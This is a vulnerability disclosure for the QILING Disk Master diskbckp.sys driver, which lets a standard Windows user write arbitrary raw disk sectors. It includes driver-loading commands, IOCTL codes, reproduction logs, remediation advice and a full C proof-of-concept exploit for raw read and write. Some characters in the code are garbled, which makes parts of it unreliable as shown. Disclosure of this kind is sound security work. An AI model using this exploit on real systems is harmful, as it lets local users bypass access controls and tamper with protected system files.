QILING Disk Master Kernel Driver diskbckp.sys 6, 0, 0, 0 Local Privilege Escalation
Summary
QILING Disk Master Free ships a kernel driver, diskbckp.sys, that exposes the device \\.\diskbakdrv1 to a standard local user. A non-administrative user can open that device, attach a disk context, and issue an IOCTL that writes caller-controlled bytes to a selected raw disk offset.
The proof below uses only a temporary VHD and an administrator-only test file. The standard user cannot read or open the protected file for write through normal Windows file APIs, and cannot open the raw disk after the test volume is dismounted. The same user can still overwrite the file's raw NTFS clusters through the vendor driver.
An unprivileged user can exploit arbitrary read/write primitives over protected file resources to achieve local privilege escalation.
Affected Product and Version
- Product: QILING Disk Master Free
- Installer product version:
8.7.6 - Installer file version:
8.7.0.6 - Driver:
diskbckp.sys - Driver file/product version:
6, 0, 0, 0 - Driver SHA-256:
B4FD432A4A948D21069774439926B325D6C7EF9A621014A58B4BA4FC279BC9F8 - Driver signature: Valid,
Microsoft Windows Hardware Compatibility Publisher
Download URL and SHA-256
- Download URL:
https://www.idiskhome.com/download/vdisk/multi_DiskMaster_Free.exe - File name:
multi_DiskMaster_Free.exe - Installer SHA-256:
B0703FE415A5F17C3C1E319598B49FDEBAF6992AB97B924642F6ECC2F6E1C466 - Installer signature: Valid,
Keroro Software Ltd
Vulnerability Type
Local privilege escalation / arbitrary raw disk write through an unprotected kernel driver device interface.
Impact
A standard local user can write raw sectors on a caller-selected disk through diskbckp.sys. On a real system disk, raw write access can be used to tamper with protected files, registry hives, service configuration, boot files, or other privileged filesystem metadata that normal discretionary access controls prevent the user from modifying.
This validation intentionally wrote only to a temporary VHD created for the test.
Test Environment
- OS: Windows Server 2025 Datacenter Evaluation, 64-bit
- HAL:
10.0.26100.1 - High-privilege setup user: local Administrator
- Attacker user: standard local user
WIN-R10EKFCBLSE\low - Attacker integrity level: Medium Mandatory Level
- Test object:
R:\protected\admin_only_flag.binon a temporary 96 MB VHD - Test file ACL:
SYSTEM:F,Administrators:F; inheritance removed
Driver Load / Setup Steps
The reproduction used a non-interactive setup path to avoid running the full GUI installer:
innoextract.exe --collisions rename -d C:\ProgramData\VendorRepro\qiling_diskbckp\extract multi_DiskMaster_Free.exe
copy <extracted>\diskbckp.sys$24bit C:\ProgramData\VendorRepro\qiling_diskbckp\diskbckp_test.sys
sc.exe create diskbckp type= kernel start= demand binPath= \??\C:\ProgramData\VendorRepro\qiling_diskbckp\diskbckp_test.sys
sc.exe start diskbckp
Service configuration during the test:
SERVICE_NAME: diskbckp
TYPE : 1 KERNEL_DRIVER
START_TYPE : 3 DEMAND_START
BINARY_PATH_NAME : \??\C:\ProgramData\VendorRepro\qiling_diskbckp\diskbckp_test.sys
Reproduction Steps
- As Administrator, create and attach a temporary fixed-size VHD, format it as NTFS, and assign it drive letter
R:. - Create
R:\protected\admin_only_flag.bin, write a unique marker, then remove inherited ACLs and grant access only toSYSTEMandAdministrators. - Resolve the file's first NTFS data run to a raw disk offset:
VCN: 0x0 Clusters: 0x5 LCN: 0x589
partition_offset=65536
bytes_per_cluster=4096
disk_offset=5869568
run_length=20480
- Confirm as Administrator that the calculated raw disk offset contains the setup marker:
[ADMIN_RAW_READ] stage=before_exploit marker_found=True offset=5869568 bytes=20480 prefix=QILING-DISKBCKP-BEFORE-FLAG-4a4bc015-926e-422e-9c42-6fdb95945341RRRR...
- As the standard user, confirm direct access is denied.
- Dismount the volume with
mountvol.exe R: /p. - As the same standard user, run the exploit against
\\.\diskbakdrv1:
qiling_diskbckp_flag_rw_exploit.exe --mode write --write-ioctl read-primary --disk 1 --offset 5869568 --length 20480 --write-marker QILING-DISKBCKP-WRITE-FLAG-af2e4f7f-ba88-456d-b0de-e0147091e67a
The proof IOCTL is 0x810C2806. The exploit opens \\.\diskbakdrv1, sends attach IOCTL 0x810C2008 for disk 1, and then submits a direct-I/O request whose MDL contains a 20-byte sector request header followed by caller-controlled data.
Baseline Evidence
The attacker is a standard user at Medium integrity:
[IDENTITY] user=win-r10ekfcblse\low
Mandatory Label\Medium Mandatory Level
BUILTIN\Users Alias S-1-5-32-545
Direct read and write-open attempts against the protected file fail:
[BASELINE] protected_read=DENIED path=R:\protected\admin_only_flag.bin error=Access to the path 'R:\protected\admin_only_flag.bin' is denied.
[BASELINE] protected_write_open=DENIED path=R:\protected\admin_only_flag.bin error=Access to the path 'R:\protected\admin_only_flag.bin' is denied.
After the volume is dismounted, the same standard user cannot open the raw disk directly:
[IDENTITY] user=WIN-R10EKFCBLSE\low
[IDENTITY] is_administrator=False
[IDENTITY] integrity=Medium
[BASELINE] raw_disk_open=DENIED path=\\.\PhysicalDrive1 error=5
Exploit Evidence
The standard user can open the vendor driver, attach the disk context, and issue the raw-sector write:
[DRIVER] open=SUCCESS path=\\.\diskbakdrv1
[DRIVER] attach=SUCCESS disk=1
[EXPLOIT_WRITE] success=True ioctl=read-primary code=0x810C2806 disk=1 offset=5869568 bytes=20480
[EXPLOIT_WRITE] marker=QILING-DISKBCKP-WRITE-FLAG-af2e4f7f-ba88-456d-b0de-e0147091e67a
[RESULT] write_ioctl_succeeded=True
After remounting the VHD, Administrator reads the protected file and sees that the standard user's marker replaced the original file contents:
[FILE_READBACK] stage=after_low_write before_marker_found=False write_marker_found=True length=20480 prefix=QILING-DISKBCKP-WRITE-FLAG-af2e4f7f-ba88-456d-b0de-e0147091e67aBBBB...
Why This Proves the Vulnerability
The test user is a standard user at Medium integrity. Windows denies that user direct file read access, direct file write-open access, and direct raw disk access in the exploit state. Nevertheless, the user can open \\.\diskbakdrv1 and make diskbckp.sys write caller-controlled bytes to the raw disk offset that backs an administrator-only file.
Therefore, the driver exposes privileged raw disk write functionality without enforcing the expected Windows access checks. This bypasses the file's DACL and the raw disk device access check.
Suggested Remediation
- Create the control device with a restrictive security descriptor, for example with
IoCreateDeviceSecure, so standard users cannot open\\.\diskbakdrv1. - Require administrative privilege for any IOCTL that attaches disk contexts or forwards raw disk reads/writes.
- Validate all caller-controlled disk numbers, offsets, lengths, and MDL buffers.
- Avoid exposing raw disk forwarding IOCTLs to untrusted local users. If raw disk access is required, broker it through a privileged service that performs explicit authorization and limits writes to intended product-owned objects.
POC
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define IOCTL_DISKBAK_ATTACH 0x810C2008u
#define IOCTL_DISKBAK_RAW_READ 0x810C2806u
#define IOCTL_DISKBAK_RAW_WRITE 0x810C280Au
#pragma pack(push, 1)
typedef struct DISKBAK_ATTACH_REQ {
DWORD DiskNumber;
DWORD Reserved;
} DISKBAK_ATTACH_REQ;
typedef struct DISKBAK_SECTOR_REQ {
LONG DiskNumber;
LONG PartitionNumber;
ULONGLONG SectorIndex;
DWORD SectorCount;
BYTE Data[1];
} DISKBAK_SECTOR_REQ;
#pragma pack(pop)
static void usage(const wchar_t *prog)
{
fwprintf(stderr,
L"Usage:\n"
L" %ls --attach-only [--disk N]\n"
L" %ls --read OUT.bin [--disk N] [--partition N] [--sector N] [--count N] [--sector-size N]\n"
L" %ls --dangerous-write IN.bin [--disk N] [--partition N] [--sector N] [--count N] [--sector-size N]\n\n"
L"Defaults: --disk 0 --partition 0 --sector 0 --count 1 --sector-size 512\n"
L"Do not use --dangerous-write outside a disposable VM.\n",
prog, prog, prog);
}
static int parse_u64(const wchar_t *s, ULONGLONG *out)
{
wchar_t *end = NULL;
unsigned long long v = wcstoull(s, &end, 0);
if (!s[0] || (end && *end)) {
return 0;
}
*out = (ULONGLONG)v;
return 1;
}
static int parse_u32(const wchar_t *s, DWORD *out)
{
ULONGLONG v = 0;
if (!parse_u64(s, &v) || v > 0xffffffffULL) {
return 0;
}
*out = (DWORD)v;
return 1;
}
static int read_file_exact(const wchar_t *path, BYTE *buf, DWORD len)
{
HANDLE h = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
DWORD got = 0;
if (h == INVALID_HANDLE_VALUE) {
fwprintf(stderr, L"[-] CreateFile(%ls) failed: %lu\n", path, GetLastError());
return 0;
}
if (!ReadFile(h, buf, len, &got, NULL) || got != len) {
fwprintf(stderr, L"[-] ReadFile expected %lu bytes, got %lu, err=%lu\n", len, got, GetLastError());
CloseHandle(h);
return 0;
}
CloseHandle(h);
return 1;
}
static int write_file_exact(const wchar_t *path, const BYTE *buf, DWORD len)
{
HANDLE h = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD wrote = 0;
if (h == INVALID_HANDLE_VALUE) {
fwprintf(stderr, L"[-] CreateFile(%ls) failed: %lu\n", path, GetLastError());
return 0;
}
if (!WriteFile(h, buf, len, &wrote, NULL) || wrote != len) {
fwprintf(stderr, L"[-] WriteFile expected %lu bytes, wrote %lu, err=%lu\n", len, wrote, GetLastError());
CloseHandle(h);
return 0;
}
CloseHandle(h);
return 1;
}
int wmain(int argc, wchar_t **argv)
{
DWORD disk = 0;
DWORD partition = 0;
DWORD count = 1;
DWORD sector_size = 512;
ULONGLONG sector = 0;
const wchar_t *read_out = NULL;
const wchar_t *write_in = NULL;
int attach_only = 0;
int do_write = 0;
HANDLE h;
DISKBAK_ATTACH_REQ attach_req;
DWORD bytes = 0;
SIZE_T total;
DISKBAK_SECTOR_REQ *req;
DWORD data_len;
BOOL ok;
for (int i = 1; i < argc; ++i) {
if (!_wcsicmp(argv[i], L"--disk") && i + 1 < argc) {
if (!parse_u32(argv[++i], &disk)) {
fwprintf(stderr, L"[-] Invalid disk number\n");
return 2;
}
} else if (!_wcsicmp(argv[i], L"--partition") && i + 1 < argc) {
if (!parse_u32(argv[++i], &partition)) {
fwprintf(stderr, L"[-] Invalid partition number\n");
return 2;
}
} else if (!_wcsicmp(argv[i], L"--sector") && i + 1 < argc) {
if (!parse_u64(argv[++i], §or)) {
fwprintf(stderr, L"[-] Invalid sector index\n");
return 2;
}
} else if (!_wcsicmp(argv[i], L"--count") && i + 1 < argc) {
if (!parse_u32(argv[++i], &count) || count == 0) {
fwprintf(stderr, L"[-] Invalid sector count\n");
return 2;
}
} else if (!_wcsicmp(argv[i], L"--sector-size") && i + 1 < argc) {
if (!parse_u32(argv[++i], §or_size) || sector_size == 0) {
fwprintf(stderr, L"[-] Invalid sector size\n");
return 2;
}
} else if (!_wcsicmp(argv[i], L"--read") && i + 1 < argc) {
read_out = argv[++i];
} else if (!_wcsicmp(argv[i], L"--dangerous-write") && i + 1 < argc) {
write_in = argv[++i];
do_write = 1;
} else if (!_wcsicmp(argv[i], L"--attach-only")) {
attach_only = 1;
} else {
usage(argv[0]);
return 2;
}
}
if (!attach_only && !read_out && !do_write) {
usage(argv[0]);
return 2;
}
if (read_out && do_write) {
fwprintf(stderr, L"[-] Choose either --read or --dangerous-write, not both.\n");
return 2;
}
if (count > (0xffffffffu / sector_size)) {
fwprintf(stderr, L"[-] count * sector-size overflows 32-bit length.\n");
return 2;
}
h = CreateFileW(L"\\\\.\\diskbakdrv1",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (h == INVALID_HANDLE_VALUE) {
DWORD first_err = GetLastError();
h = CreateFileW(L"\\\\.\\diskbakdrv1",
0,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (h == INVALID_HANDLE_VALUE) {
fwprintf(stderr, L"[-] Open \\\\.\\diskbakdrv1 failed: %lu (RW attempt was %lu)\n",
GetLastError(), first_err);
return 1;
}
fwprintf(stderr, L"[i] Opened with desired access 0 after RW open failed (%lu).\n", first_err);
}
ZeroMemory(&attach_req, sizeof(attach_req));
attach_req.DiskNumber = disk;
ok = DeviceIoControl(h,
IOCTL_DISKBAK_ATTACH,
&attach_req,
sizeof(attach_req),
NULL,
0,
&bytes,
NULL);
if (!ok) {
fwprintf(stderr, L"[-] IOCTL_DISKBAK_ATTACH failed: %lu\n", GetLastError());
CloseHandle(h);
return 1;
}
wprintf(L"[+] Attached driver context for disk %lu\n", disk);
if (attach_only) {
CloseHandle(h);
return 0;
}
data_len = count * sector_size;
total = (SIZE_T)FIELD_OFFSET(DISKBAK_SECTOR_REQ, Data) + (SIZE_T)data_len;
if (total > 0xffffffffULL) {
fwprintf(stderr, L"[-] Request too large.\n");
CloseHandle(h);
return 2;
}
req = (DISKBAK_SECTOR_REQ *)calloc(1, total);
if (!req) {
fwprintf(stderr, L"[-] calloc failed.\n");
CloseHandle(h);
return 1;
}
req->DiskNumber = (LONG)disk;
req->PartitionNumber = (LONG)partition;
req->SectorIndex = sector;
req->SectorCount = count;
if (do_write) {
if (!read_file_exact(write_in, req->Data, data_len)) {
free(req);
CloseHandle(h);
return 1;
}
fwprintf(stderr, L"[!] VM-only dangerous write: disk=%lu partition=%lu sector=%llu count=%lu bytes=%lu\n",
disk, partition, sector, count, data_len);
ok = DeviceIoControl(h,
IOCTL_DISKBAK_RAW_WRITE,
NULL,
0,
req,
(DWORD)total,
&bytes,
NULL);
if (!ok) {
fwprintf(stderr, L"[-] IOCTL_DISKBAK_RAW_WRITE failed: %lu\n", GetLastError());
free(req);
CloseHandle(h);
return 1;
}
wprintf(L"[+] Raw write IOCTL returned success.\n");
} else {
ok = DeviceIoControl(h,
IOCTL_DISKBAK_RAW_READ,
NULL,
0,
req,
(DWORD)total,
&bytes,
NULL);
if (!ok) {
fwprintf(stderr, L"[-] IOCTL_DISKBAK_RAW_READ failed: %lu\n", GetLastError());
free(req);
CloseHandle(h);
return 1;
}
if (!write_file_exact(read_out, req->Data, data_len)) {
free(req);
CloseHandle(h);
return 1;
}
wprintf(L"[+] Wrote %lu bytes to %ls\n", data_len, read_out);
}
free(req);
CloseHandle(h);
return 0;
}